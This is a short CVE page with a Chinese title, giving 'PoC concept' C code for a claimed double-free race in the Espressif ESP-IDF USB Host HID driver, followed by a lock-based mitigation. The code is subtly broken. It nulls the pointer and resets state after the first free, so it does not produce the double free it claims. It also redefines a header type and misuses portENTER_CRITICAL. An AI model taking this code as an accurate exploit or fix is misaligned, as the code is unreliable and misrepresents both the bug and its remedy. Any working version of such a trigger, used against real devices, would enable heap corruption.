CVE-2025-68657: Espressif ESP-IDF USB Host HID Driver双重释放漏洞

// PoC concept for CVE-2025-68657 // Demonstrates the double-free condition in ESP-IDF USB Host HID Driver #include "usb_host_hid.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" // Simulated usb_transfer_t structure typedef struct { void *buffer; size_t length; int ref_count; } usb_transfer_t; // Simulated hid_iface_t with race condition typedef struct { usb_transfer_t *transfer; uint8_t state; // 0=IDLE, 1=READY, 2=CLOSING TaskHandle_t user_task; } hid_iface_t; static hid_iface_t g_hid_iface; // Vulnerable function - double free when called simultaneously void hid_host_device_close(hid_iface_t *iface) { // Race condition: no lock protection if (iface->state == 1) { // READY state iface->state = 2; // CLOSING // First free - from user code path if (iface->transfer) { free(iface->transfer->buffer); free(iface->transfer); // First free iface->transfer = NULL; } iface->state = 0; } } // USB event callback - can trigger second free void IRAM_ATTR usb_event_callback(void *arg) { hid_iface_t *iface = (hid_iface_t *)arg; // Check state without atomic operation if (iface->state == 1) { // Callback path attempts to close hid_host_device_close(iface); // Second free! } } // PoC: Trigger race condition void poc_trigger(void *param) { // Setup HID interface g_hid_iface.transfer = malloc(sizeof(usb_transfer_t)); g_hid_iface.transfer->buffer = malloc(64); g_hid_iface.state = 1; // Create race: user code closes while USB event occurs TaskHandle_t task1, task2; xTaskCreate((TaskFunction_t)hid_host_device_close, "user_close", 2048, &g_hid_iface, 5, &task1); // Delay to synchronize with callback vTaskDelay(pdMS_TO_TICKS(1)); usb_event_callback(&g_hid_iface); // Trigger callback // Result: double-free, heap corruption } // Mitigation: Proper locking implementation void hid_host_device_close_safe(hid_iface_t *iface) { // mutex_lock(&iface->lock); // Add proper synchronization portENTER_CRITICAL(); if (iface->state == 1) { iface->state = 2; if (iface->transfer) { free(iface->transfer->buffer); free(iface->transfer); iface->transfer = NULL; } iface->state = 0; } portEXIT_CRITICAL(); // mutex_unlock(&iface->lock); }